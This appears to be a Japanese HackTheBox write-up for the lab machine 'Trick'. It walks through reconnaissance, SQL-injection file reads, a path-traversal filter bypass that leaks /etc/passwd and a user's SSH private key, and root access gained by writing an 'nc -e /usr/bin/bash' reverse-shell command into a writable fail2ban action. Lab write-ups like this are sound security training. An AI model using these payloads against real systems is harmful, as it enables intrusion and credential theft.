HackTheBox Trick
Trick
侵入
nmap
ポートスキャン
┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.166 -oN nmap.log
Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-21 17:35 JST
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp syn-ack ttl 63 Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
53/tcp open domain syn-ack ttl 63 ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http syn-ack ttl 63 nginx 1.14.2
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_ Supported Methods: GET
|_http-server-header: nginx/1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
22、25、53、80番ポートを確認
web
特に情報はなさそう
dig
53番が空いているので実行してみる
┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ dig trick.htb @10.10.11.166 axfr
; <<>> DiG 9.16.15-Debian <<>> trick.htb @10.10.11.166 axfr
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 212 msec
;; SERVER: 10.10.11.166#53(10.10.11.166)
;; WHEN: Wed Sep 21 17:55:07 JST 2022
;; XFR size: 6 records (messages 1, bytes 231)
root.trick.htb と preprod-payroll.trick.htb を発見
preprod-payroll.trick.htb
root.trick.htb は通常の表示と変わらなかったため、こちらもアクセスしてみる
ログイン画面が表示されたが、特に追加の情報は見つからない
wfuzz
他のサブドメインが存在しないか調べてみる
┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: preprod-FUZZ.trick.htb" -u 10.10.11.166 -t 100 --hl 83
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.166/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000254: 200 178 L 631 W 9660 Ch "marketing"
marketing が見つかった
marketing
新たな Web ページを発見した
page
しばらく探索したが、何も見つからない。Burp Suite を確認するとあることに気付いた
# services.html に対するリクエスト
GET /index.php?page=services.html HTTP/1.1
# about.html に対するリクエスト
GET /index.php?page=about.html HTTP/1.1
# contact.html に対するリクエスト
GET /index.php?page=contact.html HTTP/1.1
GET リクエストに対するレスポンスを、page の値で判断していると予想
sqlmap
ログイン画面も利用し、index.php の取得を目指す
┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ sqlmap --url "preprod-payroll.trick.htb/ajax.php?action=login" --data "username=test&password=test" --file-read "/var/www/market/index.php" --batch --time-sec 10
___
__H__
___ ___["]_____ ___ ___ {1.5.7#stable}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
============================================================================
[*] /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_var_www_market_index.php (size differs from remote file)
============================================================================
取得できた
index.php
┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ cat /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_var_www_market_index.php
<?php
$file = $_GET['page'];
if(!isset($file) || ($file=="index.php")) {
include("/var/www/market/home.html");
}
else{
include("/var/www/market/".str_replace("..?
予想通り、page でレスポンスを変えていることが、カンマ(..)をリプレイスしている
ディレクトリトラバーサルへの対策だとわかる
DirectoryTraversal
チートシートを参考に、リプレイスをバイパスしていく
参考チートシート -> https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory Traversal/README.md
┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ curl "preprod-marketing.trick.htb/index.php?page=..././..././..././etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash
バイパスに成功し、passwd ファイルの出力に成功(一部省略)
michael ユーザの存在も確認できたので、鍵を取得できないか試す
┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ curl "preprod-marketing.trick.htb/index.php?page=..././..././..././home/michael/.ssh/id_rsa" > michael_rsa
中身を確認
┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ cat michael_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
c4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2G
YQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+
4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/
Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK4
1kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaC
DkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0
+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizE
hkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1L
jnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6
IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3C
aUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/
KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjC
tnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455Ge
U+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0
fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1V
PH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS
3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXA
fvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sT
AuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgn
In16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DP
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
鍵の取得に成功
michael
SSH
┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ ssh -i michael_rsa michael@10.10.11.166
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
michael@trick:~$ whoami
michael
侵入成功
user フラグ
michael@trick:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグ取得
権限昇格
sudo
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
fail2ban が NOPASSWD であることがわかる
fail2ban
調べてみると、fail2ban とは不正アクセスからサーバを守るツールであることがわかった
また、いくつかの設定ファイルを持つことを確認したので、調べてみる
michael@trick:/etc/fail2ban$ ls -l
total 60
drwxrwx--- 2 root security 4096 Sep 21 13:12 action.d
-rw-r--r-- 1 root root 2334 Sep 21 13:12 fail2ban.conf
drwxr-xr-x 2 root root 4096 Sep 21 13:12 fail2ban.d
drwxr-xr-x 3 root root 4096 Sep 21 13:12 filter.d
-rw-r--r-- 1 root root 22908 Sep 21 13:12 jail.conf
drwxr-xr-x 2 root root 4096 Sep 21 13:12 jail.d
-rw-r--r-- 1 root root 645 Sep 21 13:12 paths-arch.conf
-rw-r--r-- 1 root root 2827 Sep 21 13:12 paths-common.conf
-rw-r--r-- 1 root root 573 Sep 21 13:12 paths-debian.conf
-rw-r--r-- 1 root root 738 Sep 21 13:12 paths-opensuse.conf
action.d に対して、security グループが書き込み可能であることがわかった
action.d はアクセス違反が発生した時の動作を決定するようだ
michael@trick:/etc/fail2ban$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
michael は security グループに所属している
jail.conf
fail2ban の動作について詳しく知るために、ファイルを参照する
[sshd]
enabled = true
ssh が有効なサービスであることがわかる
# "bantime" is the number of seconds that a host is banned.
bantime = 10s
# A host is banned if it has generated "maxretry" during the last "findtime"
# seconds.
findtime = 10s
# "maxretry" is the number of failures before a host get banned.
maxretry = 5
上記の記述から、6回認証に失敗することで、ロックがかかることがわかる
#
# ACTIONS
#
# Default banning action (e.g. iptables, iptables-new,
# iptables-multiport, shorewall, etc) It is used to define
# action_* variables. Can be overridden globally or per
# section within jail.local file
banaction = iptables-multiport
banaction_allports = iptables-allports
実際のアクションでは、iptables-multiport が使用されるらしい
michael@trick:/etc/fail2ban/action.d$ ls -l
total 280
-rw-r--r-- 1 root root 1420 Sep 21 13:39 iptables-multiport.conf
-rw-r--r-- 1 root root 2082 Sep 21 13:39 iptables-multiport-log.conf
iptables-multiport は書き込み可能である action.d の中に存在している
iptables-multiport
action.d が書き込み可能であるため、mv コマンドによる上書きが可能
michael@trick:~$ cp /etc/fail2ban/action.d/iptables-multiport.conf ./
編集のため、ホームディレクトリにコピー
# Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
actionban = /usr/bin/nc 10.10.14.12 5555 -e /usr/bin/bash
actionban を上記のように変更し、シェルの取得を目指す
michael@trick:~$ mv iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
mv: replace '/etc/fail2ban/action.d/iptables-multiport.conf', overriding mode 0644 (rw-r--r--)? y
mv で上書きする
michael@trick:~$ sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.
最後に、設定ファイルを変更したので、sudo fail2ban restart を実行する
root としてのシェル
hydra
SSH でアクセスに失敗する必要があるので、hydra を使用する
┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ hydra 10.10.11.166 ssh -l root -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-45.txt
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-21 20:40:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 6163 login tries (l:1/p:6163), ~386 tries per task
[DATA] attacking ssh://10.10.11.166:22/
しばらくすると
┌──(kali㉿kali)-[~/Desktop/Trick]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.166] 58894
whoami
root
権限昇格成功
root フラグ
root@trick:/root# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグ取得
所感
今回のボックスは、サブドメインである、market を発見するのにかなり時間を使ってしまった。しかし、fail2ban に関しては初見のサービスでもうまく攻略できたのでよかったと思う。総括して楽しいボックスだった。
Discussion